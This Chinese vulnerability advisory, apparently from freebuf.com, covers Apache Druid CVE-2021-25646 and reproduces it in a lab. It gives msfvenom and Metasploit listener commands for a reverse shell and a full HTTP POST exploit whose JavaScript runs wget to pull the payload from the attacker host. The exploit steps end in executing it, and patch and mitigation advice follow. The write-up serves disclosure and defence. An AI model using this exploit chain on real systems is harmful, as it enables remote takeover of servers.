一、漏洞综述
1.1 漏洞背景
Apache Druid 是用Java编写的面向列的开源分布式数据存储系统,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
近日Apache Druid官方发布了安全更新,修复远程代码执行漏洞(CVE-2021-25646)
1.2 漏洞描述
Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境,且默认情况下已禁用。但是,在Druid 0.20.0及更早版本中,经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求,强制Druid为该请求运行用户提供的JavaScript代码。由于Apache Druid默认情况下缺乏授权认证,攻击者可以利用此漏洞在目标机器上执行任意代码,最终可获取服务器的控制权限。
1.3使用MSF生成反弹shell木马程序
本次使用的攻击机地址为:192.168.159.131 靶机地址:192.168.159.139
1、使用MSF生成反弹shell的木马程序,命令为:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=5555 -f elf > reverse.elf
备注:我这边使用的靶机是64位系统,所以选择的x64攻击负载,32位系统可以选择x86
2、在攻击机上使用python开启web服务,下文将通过Apache Druid 远程代码执行漏洞执行wget命令,从刚搭建的web服务商下载msf生成的reverse.elf文件
3、使用MSF开启监听模块,命令为:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.159.131
set lport 5555
run
1.4漏洞复现
1、从https://github.com/apache/druid/releases/tag/druid-0.19.0下载Druid0.19版本,如下图所示
2、使用docker搭建Druid漏洞环境,解压下载的文件,进入druid-druid-0.19.0/distribution/docker路径使用docker-compose up –d搭建漏洞环境,完成之后访问http://192.168.159.139:8888
3、将下面的poc复制到burpsuit的repeater模块,攻击载荷中最终执行的命令为:wget http://192.168.159.131:888/reverse.elf,从搭建的web服务器上将反弹shell木马程序下载到靶机上
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.159.139:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json;charset=UTF-8
Content-Length: 931
{“type”:”index”,”spec”:{“type”:”index”,”ioConfig”:{“type”:”index”,”inputSource”:{“type”:”http”,”uris”:[“https://druid.apache.org/data/example-manifests.tsv”]},”inputFormat”:{“type”:”tsv”,”findColumnsFromHeader”:true}},”dataSchema”:{“dataSource”:”sample”,”timestampSpec”:{“column”:”timestamp”,”missingValue”:”2010-01-01T00:00:00Z”},”dimensionsSpec”:{},”transformSpec”:{“transforms”:[],”filter”:{“type”: “javascript”,
“function”: “function(value){return java.lang.Runtime.getRuntime().exec(‘wget http://192.168.159.131:888/reverse.elf’)}”,
“dimension”: “added”,
“”: {
“enabled”: “true”
}
}
}
},”type”:”index”,”tuningConfig”:{“type”:”index”}},”samplerConfig”:{“numRows”:50,”timeoutMs”:10000}}
4、将下载到靶机上的reverse.elf恶意程序赋予可执行权限,命令为:chmod a+x reverse.elf
5、执行reverse.elf程序,执行命令为: ./reverse.elf
6、msf成功收到反弹的shell
二、影响范围
Apache Druid <= 0.20.0
三、严重等级
高危
四、处置方法
4.1 官方补丁
Apache Druid 官方已在新版本中修复此漏洞,请升级至0.20.1及以上版本,下载链接:https://github.com/apache/druid/releases/tag/druid-0.20.1
4.2 临时缓解措施
若暂时无法升级,可以通过以下方法临时缓解影响:
设置网络访问控制策略,只允许可信任的内网IP访问Druid。
引入druid-basic-security扩展添加授权认证,具体配置方法见apache.org/docs/latest/development/extensions-core/druid-basic-security.html
来源:freebuf.com 2021-02-05 13:44:30 by: PROTECT
请登录后发表评论
注册